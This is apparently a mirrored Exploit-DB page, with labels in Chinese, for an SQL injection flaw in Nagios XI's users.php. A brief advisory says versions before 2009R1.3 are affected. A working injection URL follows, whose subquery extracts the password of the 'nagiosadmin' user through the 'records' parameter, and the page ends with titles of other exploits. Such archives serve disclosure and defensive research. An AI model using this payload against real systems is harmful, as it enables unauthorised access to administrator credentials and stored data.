Nagios XI – ‘users.php’ SQL Injection

Exploit Database
8 阅读

作者： Adam Baldwin

日期： 2010-08-24
类别：
- remote
平台：
- multiple
来源：https://www.exploit-db.com/exploits/34523/

source: https://www.securityfocus.com/bid/42661/info

Nagios XI is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to Nagios XI 2009R1.3 are vulnerable. 

http://www.example.com/nagiosxi/admin/users.php?records=int8((select > password from xi_users where username= > CHR(110)||CHR(97)||CHR(103)||CHR(105)||CHR(111)||CHR(115)||CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)))&sortby=username&sortorder=asc&search=&page=1

last Exploits
Nagios XI – ‘users.php’ SQL Injection的更多信息

VMware vCenter – Chargeback Manager ImageUploadServlet Arbitrary File Upload (Metasploit)：
BlackStratus LOGStorm 4.5.1.35/4.5.1.96 – Remote Code Execution：
Sun Solaris Telnet – Remote Authentication Bypass (Metasploit)：
Trend Micro ServerProtect 5.58 – Remote Buffer Overflow (Metasploit)：
EasyFTP Server 1.7.0.11 – list.html path Stack Buffer Overflow (Metasploit)：
Mozilla Suite/Firefox – Navigator Object Code Execution (Metasploit)：
Sentinel LM – UDP Buffer Overflow (Metasploit)：
Barcodewiz Barcode ActiveX Control 3.29 – Remote Buffer Overflow (SEH)：